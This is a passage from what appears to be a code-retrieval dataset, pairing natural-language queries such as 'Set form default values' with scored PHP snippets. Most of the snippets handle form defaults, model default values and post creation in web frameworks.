$submit_vote_value, $h->post->id));\r\n\r\n //Insert one vote for each of $submit_vote_value;\r\n for ($i=0; $i<$submit_vote_value; $i++) {\r\n $sql = \"INSERT INTO \" . TABLE_POSTVOTES . \" (vote_post_id, vote_user_id, vote_user_ip, vote_date, vote_type, vote_rating, vote_updateby) VALUES (%d, %d, %s, CURRENT_TIMESTAMP, %s, %s, %d)\";\r\n $h->db->query($h->db->prepare($sql, $h->post->id, $h->post->author, $h->cage->server->testIp('REMOTE_ADDR'), 'vote', 10, $h->post->author));\r\n }\r\n } \r\n \r\n }", "title": "" }, { "docid": "47fcd28fb418413d7a81e47ce226b43d", "score": "0.6346918", "text": "public function rest_insert( $post, $request, $is_new ) {\n\t\tif ( ! $is_new ) {\n\t\t\t// An existing post was edited - no need to update\n\t\t\t// our cache - we started out knowing the correct\n\t\t\t// post ID.\n\t\t\treturn;\n\t\t}\n\n\t\tif ( ! isset( $request['jetpack_publicize_connections'] ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( ! isset( $this->memoized_updates[0] ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$this->memoized_updates[ $post->ID ] = $this->memoized_updates[0];\n\t\tunset( $this->memoized_updates[0] );\n\t}", "title": "" }, { "docid": "02288fbed5bd204e90bb827f2627ca9d", "score": "0.6342794", "text": "public function store(PostRequest $request)\n {\n $categories = $request->input('categories') ? $request->input('categories') : [];\n $params = array_merge($request->all(), [\n 'author_id' => Auth::user()->id,\n ]);\n\n $article = Post::create($params);\n\n $tags = $request->input('tags') ? $request->input('tags') : [];\n $tagIds = array();\n foreach ($tags as $tag) {\n if ($currentTag = Tag::whereTagName($tag)->first()) {\n $tagIds[] = $currentTag->id;\n } else {\n $savedTag = Tag::create([\n 'tag_name' => $tag,\n 'tag_slug' => Str::slug($tag)\n ]);\n $tagIds[] = $savedTag->id;\n }\n }\n\n $article->tags()->attach($tagIds);\n $article->categories()->attach($categories);\n\n return redirect('admin/posts');\n }", "title": "" }, { "docid": "93da2a732158cdd4fbefed7ba35221e5", "score": "0.6341004", "text": "public function postCreateSucceeded($post);", "title": "" }, { "docid": "8979e13cba7e37de265a5b8a084abf54", "score": "0.6335189", "text": "public function run()\n {\n $post = [\n ['title' => \"Tajwid Menyenangkan\", 'content' => \"Lorem Ipsum\"],\n ['title' => \"Bacaan Sholat\", 'content' => \"Lorem Ipsum\"],\n ['title' => \"Juz Amma\", 'content' => \"Lorem Ipsum\"],\n ];\n\n DB::table('posts')->insert($post);\n\n }", "title": "" } ]
1c4f39afa89aaf2240db75199eb9a289
Set form default values
[ { "docid": "1354fb0100f12b846e65878a8b2b6a29", "score": "0.0", "text": "public function setDefaults(Form $form, $params)\n {\n // Add defaults as hidden fields\n foreach ($params['defaults'] as $key => $default) {\n $form\n ->add($key, 'hidden', array(\n 'data' => $default\n ));\n }\n\n // If isset serviceDefault then add form dynamic defaults depending on static defaults\n if (isset($params['serviceDefault']) && sizeof($params['serviceDefault'])) {\n $serviceDefault = $this->container->get($params['serviceDefault']['alias']);\n $serviceDefaultMethod = $params['serviceDefault']['method'];\n\n if (method_exists($serviceDefault, $serviceDefaultMethod)) {\n $serviceDefault->$serviceDefaultMethod($form, $params['defaults']);\n }\n }\n\n // Add Submit buttons\n $form\n ->add('submit', 'submit')\n ->add('cancel', 'submit');\n }", "title": "" } ]
[ { "docid": "8005330a0d58c830df223920132291a3", "score": "0.7421606", "text": "public function applyDefaultValues()\n\t{\n\t\t$this->validado = false;\n\t\t$this->numero = 0;\n\t}", "title": "" }, { "docid": "4f3ada8eeb700bf65e4123585bb3c5e7", "score": "0.73356587", "text": "public function applyDefaultValues()\n {\n $this->email = '';\n $this->password = '';\n $this->change_count = 0;\n $this->estado = 'ENABLED';\n }", "title": "" }, { "docid": "d148c4a04307b24f46d04713d209c33a", "score": "0.72559434", "text": "protected function setDefaults()\n {\n }", "title": "" }, { "docid": "d232952472dee6f023257c91d05c1bea", "score": "0.72190875", "text": "public function setDefaults() {\n \n }", "title": "" }, { "docid": "a1099b2eec753b3d2e2ac73a68f65052", "score": "0.7183211", "text": "public function reset(){\n if (isset($_POST[$this->name])) {\n $_POST[$this->name] = ($this->defaultValue ?? '');\n }\n $this->setValue($this->defaultValue ?? '');\n }", "title": "" }, { "docid": "52f2b9860a236d174c89b6b2d400c560", "score": "0.7172666", "text": "function setDefault(){\n\t\t\t\tif( ! is_null( $this->m_default ) ) $this->m_value = $this->m_default;\n\t\t\t}", "title": "" }, { "docid": "4eae77be50d9ae6885af7bd063e6d9bb", "score": "0.7044964", "text": "public function setDefaults($args) {\n self::$_form_defaults = array_merge(self::$_form_defaults, $args);\n }", "title": "" }, { "docid": "d483f9b2d2bd61870cb250a1b5776c60", "score": "0.7020816", "text": "public function applyDefaultValues()\n\t{\n\t\t$this->passname = '';\n\t\t$this->reqname = '';\n\t}", "title": "" }, { "docid": "af14584153135b6dcb79e6f780bc26df", "score": "0.7006394", "text": "function _setDefaults() {\r\n \r\n }", "title": "" }, { "docid": "b160a39bd16002f122d348b699b4d14c", "score": "0.7002121", "text": "private function setDefaults()\n {\n foreach ($this->ofieldlist as $k => $f) {\n $f->setDefaults();\n }\n }", "title": "" }, { "docid": "49608019b8216b5c1eb3bfe694291613", "score": "0.69352967", "text": "public function initValues()\n {\n // var_dump($this->getValues());\n if (\n (!isset($_REQUEST[$this->id . $this->name]) || is_null($_REQUEST[$this->id . $this->name]))\n &&\n (\n isset($_REQUEST[$this->id . 'submit'])\n ||\n isset($_REQUEST[$this->id . 'apply'])\n )\n\n ) {\n // Case when checkbox is unchecked and form is submitted, we should empty the value\n $this->setValues();\n // $this->setValue(-1);\n } else {\n parent::initValues();\n }\n // var_dump($this->getValues());\n // var_dump($this->getValues());\n }", "title": "" }, { "docid": "72ed1beea2c8d3802b2fd5bb2d03843b", "score": "0.69245166", "text": "public function applyDefaultValues()\n\t{\n\t\t$this->is_dynamic_price = false;\n\t\t$this->dynamic_price_what_if = '50.00';\n\t\t$this->show = true;\n\t\t$this->is_default = false;\n\t\t$this->is_prom = false;\n\t\t$this->is_available = true;\n\t}", "title": "" }, { "docid": "eb39cfb0241ae62f2c0b29e9f30a505a", "score": "0.6821709", "text": "private function populateDefault()\n {\n $this->optCommuniquer = '0';\n $this->cegidEtatDestock = '0';\n $this->idHno = '1';\n }", "title": "" }, { "docid": "4213cd64cf1e9aaff08d1b50b61b49d0", "score": "0.679194", "text": "public function set_defaults(): void {\n\t\t// Override in child class.\n\t}", "title": "" }, { "docid": "e64a4a314e5725c5b462472f68d0b269", "score": "0.67713386", "text": "public function loadDefault() {\n $value = $this->getValue();\n $single_value = array_pop($value);\n\n // If there is already a value set for the input item, ignore the default.\n $this->setData('default_value', !empty($single_value) ? $single_value : $this->getInputAttr('default'));\n }", "title": "" }, { "docid": "a853cee8cd366a4a2f9ca9653d1f8c39", "score": "0.67424446", "text": "public function applyDefaultValues()\n {\n $this->inititemnbr = '';\n $this->lotmlotnbr = '';\n }", "title": "" }, { "docid": "61f7337e3cdfdc202a4e699b5de1e0ea", "score": "0.6719312", "text": "public function setDefaultValues(Request $request)\n {\n $formSubmissionArray = $this->getFormSubmissionArray($request);\n $fileSubmissionArray = $request->getFiles();\n \n foreach ($this->fields as $field)\n {\n $defaultValue = $field->getValue($formSubmissionArray, $fileSubmissionArray);\n $field->setDefaultValue($defaultValue);\n }\n }", "title": "" }, { "docid": "88b294ebcc35baac9c84e3b96fd62d6a", "score": "0.6694345", "text": "protected function setDefaultValues()\n {\n parent::setDefaultValues();\n\n $this->publicationDate = date('Y-m-d');\n $this->kind = 'sc';\n }", "title": "" }, { "docid": "24d4b38e29d59803ec5ef1ed16241112", "score": "0.66855645", "text": "private function setDefaults()\n\t{\n\t\t$this->unit='months';\n\t\t$this->length='1';\n\t\t$this->startDate=date('Y-m-d');\n\t\t$this->totalOccurrences='9999';\n\t\t$this->totalOccurrencesChanged=false;\n\t}", "title": "" }, { "docid": "89e0d3be640250bc3abab0f4ed3bf495", "score": "0.6657041", "text": "public function set_defaults() {\n\n\t\tforeach ( $this->defaults as $key => $value ) {\n\t\t\t$attr = $this->get_attr( $key );\n\t\t\tif ( empty( $attr ) ) {\n\t\t\t\t$this->set_attr( $key, $value );\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "bfe39229f816ae3b71b8dcca1d98128b", "score": "0.66097134", "text": "public function applyDefaultValues()\n {\n $this->trnf = 0;\n $this->txtcash = '0.00';\n $this->txtfuture = '0.00';\n $this->txttransfer = '0.00';\n $this->ewallet = '0.00';\n $this->txtcredit1 = '0.00';\n $this->txtcredit2 = '0.00';\n $this->txtcredit3 = '0.00';\n $this->txtinternet = '0.00';\n $this->txtdiscount = '0.00';\n $this->txtother = '0.00';\n }", "title": "" }, { "docid": "38254b8e0baaf8558b9e9d0b9b42b011", "score": "0.6602387", "text": "protected function init() {\n\t\tparent::init();\n\t\t$this->_attributes['label'] = '';\n\t\t$this->_attributes['value'] = '';\n\t\t$this->_attributes['disabled'] = '';\n\t\t$this->_attributes['selected'] = '';\n\t}", "title": "" }, { "docid": "09a736a234b2d4969b174e89669967b1", "score": "0.6578013", "text": "public function applyDefaultValues()\n {\n $this->validate_method = 'LOCAL';\n }", "title": "" }, { "docid": "4ace4deebe69f73a89519fec000ee010", "score": "0.655329", "text": "public function applyDefaultValues()\n {\n $this->as_project = false;\n $this->as_income = false;\n $this->as_cost = false;\n $this->as_contractor = false;\n $this->is_locked = false;\n }", "title": "" }, { "docid": "219dce81fa06471b4406520d3d807317", "score": "0.6539026", "text": "public function applyDefaultValues()\n\t{\n\t}", "title": "" }, { "docid": "7c209ac28ec22938b94f4aa68a2b8744", "score": "0.6535197", "text": "public function setDefaultValues()\r\n {\r\n foreach ($this->defaultValues as $property => $value) {\r\n if (!$this->$property) {\r\n $this->$property = $value;\r\n }\r\n }\r\n }", "title": "" }, { "docid": "a4e1acf2668e373e5e7e70d6b819d220", "score": "0.65075666", "text": "public function setDefaultValue( $value ){\n\t}", "title": "" }, { "docid": "25994e48859972008412b14a6e249946", "score": "0.6502105", "text": "public function applyDefaultValues()\n {\n $this->approval_peran = '0';\n $this->last_sync = '1901-01-01 00:00:00';\n }", "title": "" }, { "docid": "679998952287c22384e34a8313c4084c", "score": "0.6500064", "text": "public function setSubmittedValues() {\n \n if (!$this->setSubmittedValues) {\n \n // mark that values has been set\n $this->setSubmittedValues = TRUE;\n\n // load field values from POST and defaults and do sanity checking\n foreach ($this->fields as $name => $data) {\n\n // set default value, if available\n if (isset($data['default'])) {\n $default = $data['default'];\n }\n else {\n $default = NULL;\n }\n\n // get input\n $value = get_input($name, $default);\n\n // sanity checking before adding to values array\n switch ($data['type']) {\n case 'tags':\n if ($value) {\n $this->fields[$name]['value'] = string_to_tag_array($value);\n } else {\n unset($this->fields[$name]);\n }\n break;\n \n case 'file':\n $this->fields[$name]['value'] = $_FILES[$name];\n break;\n \n // @todo: Check what other inputs should have custom functionality\n\n default:\n $this->fields[$name]['value'] = $value;\n break;\n }\n }\n }\n }", "title": "" }, { "docid": "5f0510fa7700cdea2b13048c0a12ed23", "score": "0.64968276", "text": "protected function setDefaultValues()\n {\n if ($this->option('default')) {\n foreach (explode('|', $this->option('default')) as $default) {\n list($column, $value) = explode(':', $default);\n\n $this->defaultValues[$column] = $value;\n }\n }\n }", "title": "" }, { "docid": "78eb6480e17f0ab05fb24d8bf2b66108", "score": "0.6490939", "text": "public function setDefaultValue($default);", "title": "" }, { "docid": "052c8cfd2c0db4b20a2ad1cf45f1e3d2", "score": "0.6487182", "text": "protected function setDefaultValues()\n {\n parent::setDefaultValues();\n \n $this->rank = 0;\n $this->voteCount = 0;\n }", "title": "" }, { "docid": "05cde702f09eb9815ad55dc32ef86106", "score": "0.6481586", "text": "public function applyDefaultValues()\n {\n $this->r_p_is_maj_from_compiluo = false;\n $this->r_p_is_mandatory = false;\n $this->r_p_is_eligible_for_prime = true;\n }", "title": "" }, { "docid": "7caf6f0be4198fcdadd1ceb4ee16f01a", "score": "0.64511925", "text": "public final function setDefault($default){\n\t\tif(FW_Validate::isMixed($default)){\n\t\t\t$this->default = $default;\n\t\t}\n\t}", "title": "" }, { "docid": "cd519082c42296de40e518656f9f1d76", "score": "0.64492244", "text": "private function _set_fields()\n\t{\n \n\t\t$this->form_data->cat_id = 0;\n $this->form_data->cat_parent = 0;\n\t\t$this->form_data->cat_name = '';\n\n $this->form_data->filter_cat_name = '';\n\t\t$this->form_data->filter_search = '';\n\t}", "title": "" }, { "docid": "d04f598a7e9c88dc4ff2e834eae4332a", "score": "0.64454794", "text": "public function applyDefaultValues()\n {\n }", "title": "" }, { "docid": "1d9c379e882f3de4a20d89a223a509e0", "score": "0.64205045", "text": "public function applyDefaultValues()\n\t{\n\t\t$this->onlineuserid = 0;\n\t\t$this->paymentsuccess = false;\n\t\t$this->blockrefno = 0;\n\t\t$this->paidamt = 0;\n\t\t$this->paidamtissuedreceiptstatus = false;\n\t\t$this->utilized = false;\n\t\t$this->deleted = false;\n\t}", "title": "" }, { "docid": "d6bc9dbb4626039da1b4b7602f82baea", "score": "0.6416498", "text": "function LoadDefaultValues() {\n\t\t<!--##\n\t\t\tfor (var i = 0; i < nFldCount; i++) {\n\t\t\t\tif (GetFldObj(arFlds[i])) {\n\t\t##-->\n\t\t<!--##~SYSTEMFUNCTIONS.ScriptEditDefaultValue()##-->\n\t\t<!--##\n\t\t\t\t\tif (goFld.FldHtmlTag == \"FILE\") {\n\t\t##-->\n\t<!--## if (CTRL.CtrlID == \"gridcls\") { ##-->\n\t\t$this-><!--##=gsFldParm##-->->Upload->Index = $this->RowIndex;\n\t<!--## } ##-->\n\t\t<!--##\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t##-->\n\t}", "title": "" }, { "docid": "4d1ae93224225b6b7f3e9280c71cd356", "score": "0.6414897", "text": "public function assignDefaultValues() {\n\t\t$this->assignByArray(self::$DEFAULT_VALUES);\n\t}", "title": "" }, { "docid": "ae1652f9a0c3e9d323d99c032557f36e", "score": "0.63918215", "text": "public function __construct($htmlForm, array $defaultValues = [], Factory $factory = null);", "title": "" }, { "docid": "726abeb07cf8344ba7e191dbe870399c", "score": "0.6381427", "text": "public function applyDefaultValues()\n {\n $this->avatar_url = '/images/avatars/default.png';\n $this->permission = 0;\n }", "title": "" }, { "docid": "893fc41cd16843becf099c7af20f171b", "score": "0.6357375", "text": "public function applyDefaultValues()\n {\n $this->arcucustid = '';\n $this->arcdinvnbr = '';\n $this->arcdinvseq = 0;\n }", "title": "" }, { "docid": "c495bdf6284171ad8fcac131810bbedc", "score": "0.6354186", "text": "function initialize() {\n\t\t\t\tadd_option($this->name, $this->defaultValue);\n\t\t\t}", "title": "" }, { "docid": "2a9666bd2fa830fd662a3f27d405cebe", "score": "0.6326975", "text": "public function setDefaultValue($value)\n\t{\n\t\t$form = $this->getForm(false);\n\t\tif ($this->isDisabled() || !$form || !$form->isAnchored() || !$form->isSubmitted()) {\n\t\t\t$this->setValue($value);\n\t\t}\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "b5a04744cd982c8b4ec2c77b6f600ca8", "score": "0.6321799", "text": "public function applyDefaultValues()\n {\n $this->op_use_presta_negoce = false;\n $this->op_attach_file_stats_excel = false;\n $this->op_has_mail_archiv_sent = false;\n }", "title": "" }, { "docid": "85e02136be620f59d8f8b3f4041189a9", "score": "0.6306025", "text": "public function save_defaults() {\n\n $tmp_options = $this->options;\n\n if ( ! empty( $this->pre_fields ) ) {\n foreach ( $this->pre_fields as $field ) {\n if ( ! empty( $field['id'] ) ) {\n $this->options[$field['id']] = ( isset( $this->options[$field['id']] ) ) ? $this->options[$field['id']] : $this->get_default( $field );\n }\n }\n }\n\n if ( $this->args['save_defaults'] && empty( $this->args['show_in_customizer'] ) && empty( $tmp_options ) ) {\n\n if ( $this->args['database'] === 'theme_mod' ) {\n set_theme_mod( $this->unique, $this->options );\n } else {\n update_option( $this->unique, $this->options );\n }\n\n }\n\n }", "title": "" }, { "docid": "8ed21db5e2acfdce27b7e01832249b9a", "score": "0.6305381", "text": "function sa_form_elem_default(&$data)\r\n{\r\n $data['id'] = $data['name'];\r\n $data['tabindex'] = 9;\r\n}", "title": "" }, { "docid": "bb22c015861affedbce459b68b67f2fe", "score": "0.63043404", "text": "public function applyDefaultValues()\n {\n $this->aptmtermcode = '';\n }", "title": "" }, { "docid": "29a9a57e60eaece171a47d853d3b2305", "score": "0.6303221", "text": "public function applyDefaultValues()\n\t{\n\t\t$this->algorithm = 'sha1';\n\t\t$this->is_active = true;\n\t\t$this->is_super_admin = false;\n\t}", "title": "" }, { "docid": "189f649df9ad9f97577eff7e9f9ff59f", "score": "0.62935424", "text": "protected function setDefaults()\n {\n $this->setDatumTijdAanmaakBestand(time());\n }", "title": "" }, { "docid": "a7f90c392d5193264919eb0f9ef248f4", "score": "0.6277865", "text": "public function set_default() \n\t{\n $this->set_mode_mail(); \n $this->reset_recipients(); \n\t\t$this->reset_reply_to(); \n\t}", "title": "" }, { "docid": "d10ff67d588e7815fae163f9c5da9e85", "score": "0.62673616", "text": "public function applyDefaultValues()\n {\n $this->dict_r_usuario = 1;\n }", "title": "" }, { "docid": "7323687dcb6241af7c520b5a6caf5d81", "score": "0.6252217", "text": "public function init()\n {\n parent::init();\n\n // customize\n $this->getElement('passwd')->setRequired(false);\n $this->getElement('passwdVerify')->setRequired(false);\n $this->getElement('submit')->setLabel('Save User');\n }", "title": "" }, { "docid": "d9270f006428a3b324e05748efc698b0", "score": "0.6243155", "text": "public function testSetDefaultOptions()\n {\n $resolverMock = Phake::mock('Symfony\\Component\\OptionsResolver\\OptionsResolverInterface');\n\n $this->form->setDefaultOptions($resolverMock);\n\n Phake::verify($resolverMock)->setDefaults(array(\n 'class' => $this->themeClass,\n 'property' => 'name',\n ));\n }", "title": "" }, { "docid": "c8dd2f935feb6d24363fca1cf2e992ea", "score": "0.6235751", "text": "public function apply_defaults ()\n {\n $this->set_select (\"perm.*, fldr.*\");\n $this->set_order ('fldr.title');\n $this->_add_sorting_for_security ();\n }", "title": "" }, { "docid": "483ec03fd6e88436b9e3dc635dfc8c66", "score": "0.6228519", "text": "protected function setDefaultOptions()\n {\n $this->exportable = false;\n $this->randomisable = false;\n $this->readOnly = true;\n $this->size = DIdField::SIZE;\n $this->unsigned = true;\n }", "title": "" }, { "docid": "0f73985068595ff5e97a3f0f471572ba", "score": "0.62255675", "text": "function set_form() {\n\t}", "title": "" }, { "docid": "d08483a3fdfcf33d37128c75080124a2", "score": "0.62183267", "text": "public function setSearchFormDefaults()\n\t{\n\t\t$defaults = [\n\t\t\t'search' => $this->pagination['terms'],\n\t\t];\n\n\t\tif (!empty($this->pagination['filters']))\n\t\t{\n\t\t\tforeach ($this->pagination['filters'] as $field => $value)\n\t\t\t{\n\t\t\t\t$defaults['filters.'.$field] = $value;\n\t\t\t}\n\t\t}\n\n\t\tForm::setDefaults($defaults);\n\n\t\treturn $defaults;\n\t}", "title": "" }, { "docid": "43eb3ddcf0b1b58d676698725c02260f", "score": "0.61986667", "text": "public function __construct()\n {\n $this->setDefaults();\n }", "title": "" }, { "docid": "2a946c3a5938e57c44e270354f646a36", "score": "0.61834455", "text": "function csc_role_edit_form_submit($form, &$form_state) {\n foreach (array_keys($form_state['plugin']['defaults']) as $key) {\n if (isset($form_state['values'][$key])) {\n $form_state['conf'][$key] = $form_state['values'][$key];\n }\n }\n}", "title": "" }, { "docid": "39061ba3aba1364f9fa37f1137fa57c5", "score": "0.6176591", "text": "private function _input_attr_defaults()\n {\n\treturn array(\n\t 'name' => $this->_field['name'],\n\t 'id' => $this->_field['id'],\n\t);\n }", "title": "" }, { "docid": "00c459c6b6160033131c91df9424ad78", "score": "0.6169672", "text": "function setdefault()\n\t{\n\t\t// Check for request forgeries\n//TODO: FIX TOKEN\n\t\t//JRequest::checkToken() or jexit(JText::_('JInvalid_Token'));\n\n\t\t$clientId\t= JRequest::getInt('client_id');\n\t\t$id\t\t\t= JRequest::getInt('id');\n\t\t$model \t\t= $this->getModel('template');\n\n\t\tif (empty($id)) {\n\t\t\t$this->setRedirect('index.php?option=com_templates&view=templates&client='.$clientId, JText::_('Operation Failed').': '.JText::_('No template specified.'));\n\t\t\treturn;\n\t\t}\n\n\t\tif ($model->setDefault($id, $clientId)) {\n\t\t\t$msg = JText::_('Template Saved');\n\t\t} else {\n\t\t\t$msg = JText::_('Error Saving Template') . $model->getError();\n\t\t}\n\n\t\t$this->setRedirect('index.php?option=com_templates&view=templates&client='.$clientId, $msg);\n\t}", "title": "" }, { "docid": "0fd2937daf9b894075762f76fd555361", "score": "0.6146329", "text": "public function resetDefaultValues() {\n\t\tif (($this->is_email_sent == 'Y') && ($this->is_read == 'Y')){\n\t\t\t$this->is_email_sent = 'N';\n\t\t}\n\n\t\t$this->modified_date = date(\"Y-m-d H:i:s\");\n\t\t$this->txn_date = date(\"Y-m-d H:i:s\");\n\t\t$this->is_read = 'N';\n\t\t$this->is_active = 'Y';\n\t\t$this->message_id = null;\n\t\t$this->message_folder = '';\n\t\t\n\t}", "title": "" }, { "docid": "781acdb04b1ecef3a25572947f23e983", "score": "0.61180955", "text": "function gsb_feature_program_display_edit_form_submit($form, &$form_state) {\n foreach (array_keys($form_state['plugin']['defaults']) as $key) {\n if (isset($form_state['values'][$key])) {\n $form_state['conf'][$key] = $form_state['values'][$key];\n }\n }\n}", "title": "" }, { "docid": "ca0f47705a7c21d046d8829920f5dd24", "score": "0.61106855", "text": "public function default_options() {\n\t\t\t$this->_default_options();\n\t\t}", "title": "" }, { "docid": "378aeab082ca9e9d51ef18843ea213a3", "score": "0.6104457", "text": "public function isDefaultValueAvailable(){parent::isDefaultValueAvailable();}", "title": "" }, { "docid": "247c6e8f6ef079b43e1b48f3eaf42e0b", "score": "0.6104371", "text": "protected function addDefaultFormValuesToEmptyRequest(Request $request, string $formClass)\n {\n try {\n $formBuilder = $this->formFactory->create($formClass);\n $elements = $formBuilder->all();\n foreach ($elements as $name => $element) {\n $config = $element->getConfig();\n $type = $element->getConfig()->getType()->getInnerType();\n $typeClass = \\get_class($type);\n\n // дефолтное значение подставляем только для скаляров из приведенного списка\n if (!\\in_array($typeClass, [\n BooleanType::class,\n MixedType::class,\n Type\\EmailType::class,\n Type\\IntegerType::class,\n Type\\NumberType::class,\n Type\\PasswordType::class,\n Type\\PercentType::class,\n Type\\TelType::class,\n Type\\TextType::class,\n Type\\TimeType::class,\n Type\\UrlType::class,\n ], true)) {\n continue;\n }\n\n if ($config->hasAttribute(FormDocCollector::OPTIONS_FIELD_NAME)) {\n $passedOptions = $config->getAttribute(FormDocCollector::OPTIONS_FIELD_NAME);\n if ($passedOptions === null) {\n $passedOptions = [];\n }\n } else {\n $passedOptions = $config->getOptions();\n }\n\n // берем дефольное значение только из default опции (не из empty_data)\n if (\\array_key_exists('default', $passedOptions) && ($passedOptions['default'] !== FormFieldDefaultValueExtension::UNDEFINED)) {\n if ($this->request->request->count() === 0) {\n $this->request->request->set($name, $passedOptions['default']);\n }\n return; // одного достаточно\n }\n }\n } catch (\\Throwable $e) {\n // do nothing...\n }\n }", "title": "" }, { "docid": "4f4108c264335798beffb0c891315095", "score": "0.6095858", "text": "protected abstract function InitForm();", "title": "" }, { "docid": "59097ad400310da75f18add12c6a26d1", "score": "0.60934806", "text": "protected function set_defaults($default_tags = array())\n {\n $defaults = array();\n \n $defaults[self::PROPERTY_TAGS] = implode(',', $default_tags);\n \n $this->form->setDefaults($defaults);\n }", "title": "" }, { "docid": "6215e189aa390975fa09b9a8e8e6c71b", "score": "0.60822415", "text": "function modbus_chart_report_content_type_edit_form_submit($form, &$form_state) {\r\n foreach (array_keys($form_state['plugin']['defaults']) as $key) {\r\n $form_state['conf'][$key] = $form_state['values'][$key];\r\n }\r\n}", "title": "" }, { "docid": "b78bd2de542a4d87e13f823e9701aeb7", "score": "0.60749114", "text": "public function getDefaultValues();", "title": "" }, { "docid": "ad6122a22d90323252f07a250f4eedbc", "score": "0.6072908", "text": "public function defaults() {\n\n }", "title": "" }, { "docid": "4aa73f7fcd3a4ded135097d0c8281829", "score": "0.6059614", "text": "public function populateDefaults(){\n\t\tparent::populateDefaults();\n\t\t\n\t\t$this->setField('Date', date('Y-m-d H:i:s', strtotime('now')));\n\t}", "title": "" }, { "docid": "64996b74909c2ffb2391e2609af29bef", "score": "0.6054424", "text": "public function loadValue() {\n $submitted = $this->getSubmittedValue();\n $value = (empty($submitted)) ? (($this->getInputAttr('value') != INPUT_EMPTY_VALUE ? $this->getInputAttr('value') : '')) : $submitted;\n $this->setValue($value);\n }", "title": "" }, { "docid": "9f5edbe6b49df62a88ad4c21c9454c54", "score": "0.6053007", "text": "public function setDefaultOptions()\n\t{\n\t\t$this->start_date = date(Helper::NHS_DATE_FORMAT);\n\t\t$this->end_date = date(Helper::NHS_DATE_FORMAT);\n\t}", "title": "" }, { "docid": "fc00f45e99e1b0c72567a5a744548a8d", "score": "0.6051541", "text": "protected function getFormDefaults(): array\n\t{\n\t\treturn [];\n\t}", "title": "" }, { "docid": "d3e8a147cc7b7b713b5d571f23928220", "score": "0.60468227", "text": "function _setDefaults()\n {\n $this->subtaskId = $this->rs['subtask_id'] = NULL;\n $this->studentId = $this->rs['student_id'] = NULL;\n $this->dateTo = $this->rs['dateto'] = '';\n $this->operation = NULL;\n $this->objids = array();\n }", "title": "" }, { "docid": "d6e18732cd1bc04103dcc0e39879750e", "score": "0.60402584", "text": "function entity_ui_form_defaults($form, &$form_state, $entity_type, $entity = NULL, $op = NULL) {\n $defaults = array(\n 'entity_type' => $entity_type,\n );\n if (isset($entity)) {\n $defaults[$entity_type] = $entity;\n }\n if (isset($op)) {\n $defaults['op'] = $op;\n }\n $form_state += $defaults;\n if (isset($op)) {\n drupal_set_title(entity_ui_get_page_title($op, $entity_type, $entity));\n }\n // Add in handlers pointing to the controller for the forms implemented by it.\n if (isset($form_state['build_info']['base_form_id']) && $form_state['build_info']['base_form_id'] != $entity_type . '_form') {\n $form['#validate'][] = 'entity_ui_controller_form_validate';\n $form['#submit'][] = 'entity_ui_controller_form_submit';\n }\n return $form;\n}", "title": "" }, { "docid": "6bf8d72e0649af00210a8a3002c63bba", "score": "0.6039161", "text": "public function defaults();", "title": "" }, { "docid": "3bc4780802fbfcf0db1658b4d028e2bc", "score": "0.603499", "text": "protected function setDefaults () {\r\n // Set parent defaults.\r\n parent::setDefaults();\r\n\r\n $this->words = array();\r\n }", "title": "" }, { "docid": "addf2a147f95b61f7e6753e927d33563", "score": "0.60343814", "text": "public function setDefault($default);", "title": "" }, { "docid": "354f6280b8264c0f6d61a49df1c4231b", "score": "0.603063", "text": "private function resetInputFields(){\n $this->title = '';\n $this->description = '';\n $this->todo_id = '';\n }", "title": "" }, { "docid": "3b297ba43917ec9f08bcac240b88c08e", "score": "0.60285723", "text": "public function initFromForm()\n\t{\t\t\n\t\t$form = $this->initForm();\n\t\tif($form->checkInput())\n\t\t{\t\t\t\n\t\t\tforeach(array_keys($this->presets) as $id)\n\t\t\t{\n\t\t\t\t$this->presets[$id][1] = false;\n\t\t\t}\n\t\t\tforeach($form->getInput('preset') as $value)\n\t\t\t{\n\t\t\t\tif(isset($this->presets[$value]))\n\t\t\t\t{\n\t\t\t\t\t$this->presets[$value][1] = true;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this->addPreset($value, $value, true);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$this->setTitle($form->getInput('title'), $form->getInput('desc'));\n\t\t\t$this->setBlankColumns($form->getInput('blank'));\t\n\t\t\t\n\t\t\t$roles = array();\n\t\t\tforeach(array_keys($this->role_data) as $role_id)\n\t\t\t{\n\t\t\t\tif($form->getInput('role_'.$role_id))\n\t\t\t\t{\n\t\t\t\t\t$roles[] = $role_id;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->setRoleSelection($roles);\n\t\t\t\n\t\t\t// not in sessions\n\t\t\tif($this->waiting_list)\n\t\t\t{\n\t\t\t\t$this->include_subscribers = (bool)$form->getInput('subscr');\t\t\t\n\t\t\t\t$this->include_waiting_list = (bool)$form->getInput('wlist');\n\t\t\t}\n\t\t\t\n\t\t\tif($this->user_filters)\n\t\t\t{\n\t\t\t\tforeach(array_keys($this->user_filters) as $msub_id)\n\t\t\t\t{\n\t\t\t\t\t$this->user_filters[$msub_id][2] = $form->getInput(\"members_\".$msub_id);\n\t\t\t\t}\t\t\t\n\t\t\t}\t\t\t\t\n\t\t\t\n\t\t\tif($this->id)\n\t\t\t{\n\t\t\t\t$form->setValuesByPost();\n\t\t\t\t\n\t\t\t\tinclude_once \"Services/User/classes/class.ilUserFormSettings.php\";\n\t\t\t\t$settings = new ilUserFormSettings($this->id);\n\t\t\t\t$settings->deleteValue('desc'); // #11340\n\t\t\t\t$settings->importFromForm($form);\n\t\t\t\t$settings->store();\n\t\t\t}\n\t\t\t\n\t\t}\t\t\n\t}", "title": "" }, { "docid": "5e738c05bd839426366db0ad33e762f2", "score": "0.6025524", "text": "protected function _initFormValues()\n {\n $this->getForm()->addValues($this->getAttributeObject()->getData());\n return parent::_initFormValues();\n }", "title": "" }, { "docid": "1797b9ea0807cf24bd09a3fd2bf4861b", "score": "0.60184073", "text": "public function init_form_fields() {\n\t\t\tinclude(dirname(__FILE__) . \"/includes/magpie-settings.php\");\n\t\t}", "title": "" }, { "docid": "2c3473523978395296ad8076727510a7", "score": "0.6016854", "text": "protected function setDefaultValues()\n {\n $GLOBALS['PHP_CODESNIFFER_CONFIG_DATA'] = $this->defaultValues;\n }", "title": "" }, { "docid": 